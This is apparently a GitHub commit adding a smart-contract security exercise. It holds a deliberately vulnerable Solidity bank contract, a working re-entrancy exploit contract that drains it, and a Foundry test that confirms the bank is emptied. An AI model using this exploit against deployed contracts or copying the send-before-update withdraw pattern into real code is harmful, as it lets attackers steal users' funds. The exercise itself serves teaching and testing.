Skip to content

Commit

Permalink
feat: add re-entrancy exercise
Browse files Browse the repository at this point in the history
  • Loading branch information
ialmanzaj committed Oct 22, 2023
1 parent a16aaf3 commit b6725ee
Show file tree
Hide file tree
Showing 3 changed files with 90 additions and 0 deletions.
20 changes: 20 additions & 0 deletions src/EthBank/EthBank.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/console.sol";

contract EthBank {
mapping(address => uint256) public balances;

function deposit() external payable {
balances[msg.sender] += msg.value;
}

function withdraw() external payable {
// withdraw
(bool sent,) = payable(msg.sender).call{value: balances[msg.sender]}("");
require(sent, "failed to send ETH");

balances[msg.sender] = 0;
}
}
36 changes: 36 additions & 0 deletions src/EthBank/EthBankExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8;

import "forge-std/console.sol";

interface IEthBank {
function deposit() external payable;

function withdraw() external payable;
}

contract EthBankExploit {
IEthBank public bank;

constructor(IEthBank _bank) {
bank = _bank;
}

receive() external payable {
// drain until try to get the most ETH
// 0.5 ether is the interval to drain each time
if (address(bank).balance >= 0.5 ether) {
bank.withdraw();
}
}

function pwn() external payable {
// deposits
bank.deposit{value: 0.5 ether}();
bank.withdraw();

// send back stolen ETH to atacker address.
//why? transfer intead of call{value: address(this).balance}
payable(msg.sender).transfer(address(this).balance);
}
}
34 changes: 34 additions & 0 deletions test/EthBank.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {EthBank} from "../src/EthBank/EthBank.sol";
import {EthBankExploit, IEthBank} from "../src/EthBank/EthBankExploit.sol";

contract EthBankTest is Test {
EthBank bank;
EthBankExploit exploit;

address bob = address(0x1);
address alice = address(0x2);
address attacker = address(0x3);

function setUp() public {
bank = new EthBank();
exploit = new EthBankExploit(IEthBank(address(bank)));
}

function testAttack() public {
hoax(bob, 2.5 ether);
bank.deposit{value: 2.5 ether}();
hoax(alice, 2 ether);
bank.deposit{value: 2 ether}();
hoax(attacker, 1 ether);
exploit.pwn{value: 1 ether}();
assertEq(alice.balance, 0);
assertEq(bob.balance, 0);
assertEq(address(bank).balance, 0);
}
}

0 comments on commit b6725ee

Please sign in to comment.